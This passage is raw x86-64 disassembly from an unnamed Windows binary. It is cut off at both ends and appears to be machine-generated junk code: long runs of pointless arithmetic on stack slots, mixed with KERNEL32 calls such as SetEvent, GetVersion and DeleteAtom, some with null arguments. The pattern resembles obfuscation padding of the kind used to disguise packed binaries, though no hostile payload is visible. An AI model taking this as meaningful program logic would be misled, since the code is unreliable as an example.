mov qword [rsp + 0x8820], rax
mov rax, qword [rsp + 0x85e0]
movzx eax, word [rax]
mov rcx, qword [0x14018bef8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c718]
mov word [rcx], ax
mov rax, qword [rsp + 0x6d50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8218]
sar rax, cl
mov rcx, qword [rsp + 0x5f88]
mov qword [rcx], rax
lea rax, [rsp + 0x8728]
mov qword [rsp + 0x8828], rax
movsx eax, word [rsp + 0xdb4]
movsx ecx, word [0x14018c690]
add eax, ecx
mov rcx, qword [rsp + 0x55b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5960]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x57e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ed8]
movzx eax, byte [rax]
mov byte [rsp + 0x224], al
mov rcx, qword [rsp + 0x5b80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2058], eax
mov rax, qword [rsp + 0x7700]
mov rcx, qword [rsp + 0x6bc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4570]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x229a
xor r8d, r8d
lea rdx, [rsp + 0x6cd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2248], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f94], eax
lea rax, [rsp + 0x83a0]
mov qword [rsp + 0x8830], rax
mov rax, qword [rsp + 0x5690]
mov rcx, qword [rsp + 0x76d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52c0], rax
lea rax, [rsp + 0xe64]
mov qword [0x14018c970], rax
movzx eax, word [rsp + 0xf8c]
mov rcx, qword [rsp + 0x6840]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5b30]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x8838], rax
mov rax, qword [rsp + 0x7dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6318]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x208c]
mov ecx, dword [rsp + 0x216c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4840]
mov dword [rcx], eax
lea rax, [rsp + 0x3510]
mov qword [rsp + 0x8840], rax
movsx eax, byte [rsp + 0x1e2]
mov rcx, qword [rsp + 0x70e8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4f38]
mov byte [rcx], al
lea rax, [0x14018c628]
mov qword [rsp + 0x8848], rax
mov eax, dword [rsp + 0x1b50]
movzx ecx, al
mov eax, dword [rsp + 0x2204]
shl eax, cl
mov dword [rsp + 0x1b3c], eax
movsx eax, word [rsp + 0x548]
mov rcx, qword [rsp + 0x7768]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6018]
mov word [rcx], ax
movzx eax, word [rsp + 0x3b4]
movzx ecx, word [rsp + 0xd98]
sub eax, ecx
mov rcx, qword [0x14018c1b8]
mov word [rcx], ax
lea rax, [rsp + 0x2ca8]
mov qword [rsp + 0x8850], rax
mov rax, qword [rsp + 0x84d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7bc]
sar eax, cl
mov word [rsp + 0xd48], ax
lea rax, [rsp + 0xcec]
mov qword [rsp + 0x8858], rax
mov rax, qword [rsp + 0x41a0]
mov rcx, qword [rsp + 0x80e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6008]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1cd4]
mov ecx, dword [rsp + 0x2134]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7320]
mov dword [rcx], eax
lea rax, [rsp + 0xcb]
mov qword [rsp + 0x8860], rax
lea rcx, [rsp + 0x158a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4b60]
mov rcx, qword [rsp + 0x5e50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x46e8], rax
lea rax, [rsp + 0xf70]
mov qword [rsp + 0x8868], rax
lea rax, [0x14018ae28]
mov qword [0x14018c978], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x1de0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x68d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x212]
movzx ecx, byte [0x14018acda]
and eax, ecx
mov byte [rsp + 0x21f], al
lea rax, [rsp + 0xd3c]
mov qword [rsp + 0x8870], rax
mov rax, qword [rsp + 0x8748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5bf0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3eb0]
mov eax, dword [rax]
mov dword [rsp + 0x22d0], eax
mov rax, qword [rsp + 0x4d68]
movzx ecx, al
mov rax, qword [0x14018ad18]
shr rax, cl
mov rcx, qword [rsp + 0x7e78]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [rsp + 0x8f]
xor eax, ecx
mov byte [rsp + 0x1d9], al
lea rax, [rsp + 0xd6c]
mov qword [rsp + 0x8878], rax
mov rax, qword [0x14018c868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x764]
or eax, ecx
mov rcx, qword [0x14018c4c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3100]
mov rcx, qword [rsp + 0x8540]
mov qword [rsp + 0x8880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8880]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x55e0]
mov qword [rcx], rax
lea rax, [rsp + 0x7f68]
mov qword [rsp + 0x8888], rax
mov rax, qword [0x14018bf98]
mov rcx, qword [rsp + 0x7b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4cc8], rax
lea rax, [rsp + 0x3ac]
mov qword [rsp + 0x8890], rax
mov rax, qword [rsp + 0x70b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbd]
sub eax, ecx
mov rcx, qword [rsp + 0x3e88]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fa0]
mov ecx, dword [rsp + 0x2138]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7a18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6cf0]
mov rcx, qword [rsp + 0x56f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2dd8], rax
mov rax, qword [rsp + 0x6630]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4840]
mov qword [rsp + 0x8898], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8898]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5930]
mov dword [rcx], eax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0x88a0], rax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x5470]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018ae50], ax
movzx eax, word [rsp + 0x67c]
mov rcx, qword [rsp + 0x3fd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5cb0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2104], eax
mov rax, qword [rsp + 0x5650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7120]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfa4], ax
lea rax, [rsp + 0x7a60]
mov qword [rsp + 0x88a8], rax
mov rax, qword [rsp + 0x52c8]
mov ecx, dword [rsp + 0x22d0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6bc8]
mov dword [rcx], eax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x88b0], rax
mov rax, qword [rsp + 0x67f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2cb8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ea0]
mov qword [rcx], rax
movsx eax, word [0x14018c5d0]
mov rcx, qword [rsp + 0x51d8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xfac], ax
mov rax, qword [rsp + 0x5650]
movzx eax, word [rax]
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0x4bb0]
mov rax, qword [rax]
mov qword [0x14018c980], rax
mov rax, qword [0x14018c5f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x57a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xae4], ax
lea rax, [rsp + 0x7608]
mov qword [rsp + 0x88b8], rax
mov rax, qword [rsp + 0x7a78]
mov rcx, qword [rsp + 0x4300]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2ca8], rax
movsx eax, byte [rsp + 0x194]
movsx ecx, byte [rsp + 0x1a2]
sar eax, cl
mov rcx, qword [rsp + 0x6638]
mov byte [rcx], al
lea rax, [rsp + 0x1f1c]
mov qword [rsp + 0x88c0], rax
movzx eax, byte [rsp + 0x20e]
mov rcx, qword [rsp + 0x7738]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8470]
mov byte [rcx], al
lea rax, [rsp + 0x22b8]
mov qword [rsp + 0x88c8], rax
mov rax, qword [rsp + 0x7708]
mov rcx, qword [rsp + 0x3b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b28]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018bf08], ax
lea rax, [rsp + 0xd40]
mov qword [rsp + 0x88d0], rax
movzx eax, word [rsp + 0x39c]
movzx ecx, word [rsp + 0xd54]
and eax, ecx
mov rcx, qword [rsp + 0x7f90]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xba8]
sar eax, cl
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x8190]
mov qword [rsp + 0x88d8], rax
mov eax, dword [rsp + 0x21c8]
mov ecx, dword [rsp + 0x2138]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50e0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1c5]
mov rcx, qword [rsp + 0x5dd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0x6618]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5a28]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8d8], ax
movzx eax, word [rsp + 0xe5c]
movzx ecx, word [rsp + 0xfe4]
and eax, ecx
mov word [rsp + 0xcd8], ax
mov rax, qword [0x14018c128]
mov rax, qword [rax]
mov qword [0x14018c988], rax
lea rax, [rsp + 0x36e0]
mov qword [rsp + 0x88e0], rax
mov rax, qword [rsp + 0x6628]
mov rcx, qword [rsp + 0x5e98]
mov qword [rsp + 0x88e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x88e8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4860]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61e0]
mov rax, qword [rax]
mov qword [rsp + 0x88f0], rax
mov rax, qword [0x14018c868]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x79c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8030]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x22c4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1fc0], eax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x88f8], rax
mov eax, dword [rsp + 0x218c]
movzx ecx, al
mov eax, dword [rsp + 0x1e34]
shr eax, cl
mov rcx, qword [rsp + 0x5f60]
mov dword [rcx], eax
lea rax, [rsp + 0x157]
mov qword [rsp + 0x8900], rax
mov rax, qword [0x14018c890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c098]
mov qword [rcx], rax
movsx eax, word [rsp + 0x8f8]
mov rcx, qword [rsp + 0x4710]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf60], ax
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x8908], rax
movzx eax, word [rsp + 0xe9c]
movzx ecx, word [0x14018ad3c]
and eax, ecx
mov rcx, qword [rsp + 0x7420]
mov word [rcx], ax
mov rax, qword [rsp + 0x87d8]
mov rcx, qword [rsp + 0x51e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x41a0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0x167]
sar eax, cl
mov byte [rsp + 0x141], al
mov rax, qword [rsp + 0x6b30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c58]
mov rax, qword [rax]
mov qword [rsp + 0x8910], rax
movsx eax, word [rsp + 0xe98]
movsx ecx, word [0x14018c808]
and eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov word [rcx], ax
lea rax, [rsp + 0x8fc]
mov qword [0x14018c990], rax
mov rax, qword [rsp + 0x7e58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2bd0], rax
lea rax, [rsp + 0x694]
mov qword [rsp + 0x8918], rax
mov eax, dword [rsp + 0x22b0]
mov rcx, qword [rsp + 0x5a40]
mov qword [rsp + 0x8920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8920]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x21e0], eax
lea rax, [rsp + 0x20e]
mov qword [rsp + 0x8928], rax
mov rax, qword [rsp + 0x67e8]
mov rcx, qword [rsp + 0x8478]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x109], al
lea rax, [rsp + 0x1f44]
mov qword [rsp + 0x8930], rax
movsx eax, word [rsp + 0xef4]
mov rcx, qword [rsp + 0x3f18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xee0], ax
movzx eax, word [rsp + 0x61c]
movzx ecx, word [rsp + 0x3a0]
sub eax, ecx
mov word [0x14018add0], ax
lea rax, [rsp + 0x2f40]
mov qword [rsp + 0x8938], rax
mov rax, qword [0x14018adf0]
mov rcx, qword [rsp + 0x87d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5268]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a8]
sub eax, ecx
mov word [rsp + 0xd40], ax
lea rax, [rsp + 0xdf8]
mov qword [rsp + 0x8940], rax
movsx eax, byte [rsp + 0x208]
mov rcx, qword [rsp + 0x4088]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
lea rax, [rsp + 0x1f40]
mov qword [rsp + 0x8948], rax
movzx ecx, word [rsp + 0xe04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe80], ax
mov rax, qword [rsp + 0x87a0]
mov rcx, qword [rsp + 0x3680]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7148]
mov qword [rcx], rax
lea rax, [rsp + 0x5798]
mov qword [rsp + 0x8950], rax
lea rax, [0x14018ade0]
mov qword [0x14018c998], rax
mov rax, qword [rsp + 0x5438]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3f20]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x7438]
mov rcx, qword [rsp + 0x7f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x22ac], eax
lea rax, [rsp + 0x1ff]
mov qword [rsp + 0x8958], rax
mov rax, qword [rsp + 0x57d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3280], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x22d4], eax
mov rax, qword [rsp + 0x40a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ca8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b34], eax
mov rax, qword [rsp + 0x6d48]
mov rcx, qword [rsp + 0x6740]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4390]
mov qword [rcx], rax
mov rax, qword [rsp + 0x82e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x51e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d20]
mov byte [rcx], al
lea rax, [rsp + 0xfb0]
mov qword [rsp + 0x8960], rax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xc9c]
shl eax, cl
mov rcx, qword [0x14018c730]
mov word [rcx], ax
mov rax, qword [rsp + 0x44c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8218]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f68], rax
movzx eax, word [rsp + 0xd60]
mov word [rsp + 0xfec], ax
movsx eax, word [rsp + 0x3ac]
movsx ecx, word [rsp + 0x81c]
sar eax, cl
mov rcx, qword [rsp + 0x7aa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8650]
mov rcx, qword [rsp + 0x3850]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
lea rax, [0x14018acd9]
mov qword [rsp + 0x8968], rax
mov rax, qword [rsp + 0x8478]
mov rcx, qword [rsp + 0x8298]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ef8], rax
lea rax, [rsp + 0x1c58]
mov qword [rsp + 0x8970], rax
movzx eax, word [rsp + 0x764]
movzx ecx, word [0x14018c750]
add eax, ecx
mov word [rsp + 0xca4], ax
lea rax, [rsp + 0x2e30]
mov qword [0x14018c9a0], rax
mov eax, dword [rsp + 0x1c1c]
mov dword [rsp + 0x22d8], eax
movzx eax, byte [rsp + 0x212]
movzx ecx, byte [rsp + 0x1f2]
sub eax, ecx
mov rcx, qword [rsp + 0x4a20]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdac]
and eax, ecx
mov rcx, qword [rsp + 0x88d0]
mov word [rcx], ax
lea rax, [rsp + 0x390]
mov qword [rsp + 0x8978], rax
mov rax, qword [0x14018c550]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3a68]
mov qword [rsp + 0x8980], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8980]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4998]
mov dword [rcx], eax
lea rax, [rsp + 0x2bb0]
mov qword [rsp + 0x8988], rax
mov rax, qword [rsp + 0x7e20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c30]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x7800]
movsx eax, word [rax]
mov rcx, qword [0x14018c748]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf98], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x68c]
or eax, ecx
mov rcx, qword [0x14018c1b0]
mov word [rcx], ax
lea rax, [rsp + 0x86e0]
mov qword [rsp + 0x8990], rax
mov rax, qword [0x14018ad58]
mov rcx, qword [rsp + 0x82b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4068]
mov rcx, qword [rsp + 0x4498]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3920], rax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [0x14018c630]
and eax, ecx
mov word [rsp + 0x3ac], ax
mov rax, qword [rsp + 0x4dd0]
mov rcx, qword [rsp + 0x66d8]
mov qword [rsp + 0x8998], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8998]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6fd8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2018], eax
lea rax, [rsp + 0x20f0]
mov qword [rsp + 0x89a0], rax
movsx eax, byte [rsp + 0xcb]
movsx ecx, byte [rsp + 0x10e]
add eax, ecx
mov rcx, qword [rsp + 0x4ec0]
mov byte [rcx], al
lea rax, [rsp + 0x97]
mov qword [rsp + 0x89a8], rax
mov eax, dword [rsp + 0x20fc]
mov ecx, dword [rsp + 0x1b78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2094], eax
mov rax, qword [rsp + 0x4f80]
movsx eax, word [rax]
movsx ecx, word [0x14018c588]
and eax, ecx
mov word [0x14018ae54], ax
mov rax, qword [rsp + 0x5898]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3d8]
sub eax, ecx
mov rcx, qword [rsp + 0x4220]
mov word [rcx], ax
lea rax, [rsp + 0xfec]
mov qword [rsp + 0x89b0], rax
mov rax, qword [rsp + 0x7fc8]
mov rcx, qword [rsp + 0x63f0]
mov qword [rsp + 0x89b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x89b8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x88a8]
mov qword [rcx], rax
lea rax, [rsp + 0x21b]
mov qword [rsp + 0x89c0], rax
mov rax, qword [rsp + 0x4dd0]
mov rcx, qword [rsp + 0x2ef0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3930], rax
mov rax, qword [rsp + 0x4570]
mov eax, dword [rax]
mov dword [rsp + 0x22dc], eax
mov rax, qword [rsp + 0x7800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4188]
mov word [rcx], ax
movzx eax, word [rsp + 0xf24]
movzx ecx, word [rsp + 0x514]
shl eax, cl
mov rcx, qword [rsp + 0x6c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x5020]
mov rcx, qword [rsp + 0x8330]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018c788], rax
lea rax, [rsp + 0xd10]
mov qword [rsp + 0x89c8], rax
mov rax, qword [rsp + 0x6880]
mov rcx, qword [rsp + 0x2e58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7470]
mov qword [rcx], rax
mov rax, qword [0x14018c2a8]
mov rcx, qword [rsp + 0x2af0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3638], rax
mov rax, qword [rsp + 0x7ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4118]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x7d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d60], rax
mov rax, qword [rsp + 0x70d0]
mov eax, dword [rax]
mov dword [rsp + 0x22e0], eax
mov rax, qword [rsp + 0x5aa0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5860]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3e90]
mov byte [rcx], al
mov eax, dword [0x14018bdc0]
mov dword [rsp + 0x22e4], eax
movzx eax, word [rsp + 0x5c8]
mov word [0x14018c9a8], ax
mov rax, qword [rsp + 0x4760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8858]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf4c], ax
movzx eax, word [rsp + 0xf10]
mov rcx, qword [rsp + 0x7a98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6c68]
mov word [rcx], ax
mov rcx, qword [rsp + 0x5d58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xb78]
mov rcx, qword [rsp + 0x4818]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x420], ax
mov rax, qword [rsp + 0x7c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x66a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4060], rax
lea rax, [0x14018c570]
mov qword [rsp + 0x89d0], rax
movsx eax, byte [rsp + 0x1ad]
movsx ecx, byte [rsp + 0x1d6]
shl eax, cl
mov rcx, qword [rsp + 0x7510]
mov byte [rcx], al
mov rax, qword [rsp + 0x8570]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x71b0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf90], ax
lea rax, [0x14018bea8]
mov qword [rsp + 0x89d8], rax
mov rax, qword [rsp + 0x7f28]
mov rcx, qword [rsp + 0x2cc8]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c860]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3038]
mov rcx, qword [rsp + 0x7260]
mov qword [rsp + 0x89e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x89e0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2bc8], rax
lea rax, [rsp + 0x8018]
mov qword [rsp + 0x89e8], rax
mov rax, qword [rsp + 0x8508]
mov rcx, qword [rsp + 0x7f18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3f50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x66d0]
movzx eax, word [rax]
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x7438]
mov rcx, qword [rsp + 0x4520]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov rcx, qword [rsp + 0x7168]
mov byte [rcx], al
mov rax, qword [rsp + 0x54e8]
movsx eax, byte [rax]
mov rcx, qword [0x14018c020]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf1], al
mov rcx, qword [rsp + 0x6cd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x219c]
mov rcx, qword [rsp + 0x47b8]
mov qword [rsp + 0x89f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x89f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2118], eax
mov rax, qword [rsp + 0x7200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5980]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c470]
mov qword [rcx], rax
lea rax, [rsp + 0xee0]
mov qword [rsp + 0x89f8], rax
mov rax, qword [rsp + 0x86d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc70]
sub eax, ecx
mov rcx, qword [rsp + 0x7490]
mov word [rcx], ax
movzx eax, word [rsp + 0x4d4]
mov rcx, qword [rsp + 0x8400]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8748]
mov word [rcx], ax
lea rax, [rsp + 0x8218]
mov qword [rsp + 0x8a00], rax
mov rax, qword [rsp + 0x57e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x86d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x19c], al
lea rax, [rsp + 0x2118]
mov qword [rsp + 0x8a08], rax
mov rax, qword [rsp + 0x3fc0]
mov rcx, qword [rsp + 0x5ef8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
shl eax, cl
mov rcx, qword [rsp + 0x7048]
mov word [rcx], ax
lea rax, [rsp + 0xe3c]
mov qword [0x14018c9b0], rax
mov rax, qword [rsp + 0x4550]
mov qword [rsp + 0x8a10], rax
mov rax, qword [rsp + 0x7ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6228]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb44], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov byte [rsp + 0x225], al
mov rax, qword [rsp + 0x4d90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1e98]
sar eax, cl
mov dword [rsp + 0x1b78], eax
lea rax, [rsp + 0x147]
mov qword [rsp + 0x8a18], rax
mov rax, qword [rsp + 0x55f0]
